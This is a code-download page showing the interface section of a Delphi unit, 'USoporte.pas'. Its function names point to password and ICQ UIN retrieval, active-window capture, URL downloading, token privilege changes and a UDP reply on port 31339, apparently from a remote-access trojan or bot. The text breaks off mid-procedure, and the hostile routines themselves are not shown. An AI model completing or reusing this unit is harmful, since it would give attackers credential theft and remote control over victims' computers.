USoporte.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:20k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. ////////////////////////////////////////////////////////////////////////////////
  2. /////////////esta es mi SysUtils////////////////////////////////////////////////
  3. ////////////////////////////////////////////////////////////////////////////////
  4. unit USoporte;
  5. interface
  6. uses winsock, windows;
  7. var whandle : Thandle;
  8. //{$EXTERNALSYM WSAIoctl}
  9. function WSAIoctl( hSocket: TSocket; ControlCode:dword;
  10.                    InBuf : Pointer; InBufLen:DWord;
  11.                    OutBuf : Pointer; OutBufLen:DWord;
  12.                    BytesReturned : PDWord;
  13.                    lpOverlapped: POverlapped;
  14.                    lpOverlappedRoutine:pointer) : Integer; stdcall;
  15. //{$EXTERNALSYM WSASocket}
  16. function WSASocket(Family, sType, Protocol : Integer;
  17.                    lpProtocolInfo : Pointer;
  18.                    Group : uint;
  19.                    dwFlags : DWORD): TSocket; stdcall;
  20. function WSAIoctl;          external     'ws2_32.dll' name 'WSAIoctl';
  21. function WSASocket;         external     'ws2_32.dll' name 'WSASocketA';
  22. function FindWindowsDir : string;
  23. function Dame_Password( Password : String ) : String;
  24. function Encriptar(const S: String ): String;
  25. function Desencriptar( S: String ): String;
  26. function Dame_Uin( Uin : String ) : String;
  27. function LocalIP: String;
  28. function VentanaActiva: String;
  29. function Usuario: String;
  30. function NombreHost: String;
  31. function TextoValido( b :  Array of Char ):string;
  32. function EsXP : Boolean;
  33. function Descargar( url : String; Parametro2: String  ): boolean;
  34. procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
  35. function  BorrarArchivo( s: String ): Boolean;
  36. procedure showm( s : String );
  37. function GetCPUSpeed: real;
  38. procedure CrearStats;
  39. function FileExists( s : String ): Boolean;
  40. function StrToInt64(const S: string): Int64;
  41. function BuffToStr( const b : Array of Char ) : string;
  42. function StrToInt(const S: string ): Integer;
  43. function IntToStr(Value: Integer): string;
  44. function StrPCopy(Dest: PChar; const Source: string): PChar;
  45. function LowerCase(const S: string): string;
  46. function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
  47. function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
  48. function StrToIntDef(const S: string; Default: Integer): Integer;
  49. function Trim(const S: string): string;
  50. function UpperCase( S :String ): String ;
  51. function Time : string;
  52. function Date : string;
  53. function stringtochar(st : string) : char;
  54. function HexToInt(s: string): Longword;
  55. function GenerarRandomString: String;
  56. function Ocurrencias( const ss, s: String ): Integer;
  57. function IpComoPalabra: String;
  58. procedure PresionarTecla( key: Byte );
  59. procedure Contestar( UDP : TSocket; cli : TsockAddr; S : String; tcp: Integer );
  60. implementation
  61. uses wininet, UThread;
  62. procedure Contestar( UDP : TSocket; cli : TsockAddr; s : String; tcp: Integer );
  63. begin
  64.      cli.sin_port := htons( 31339 );
  65.      if Tcp <> -1 then
  66.         Send( tcp, Pointer( s + '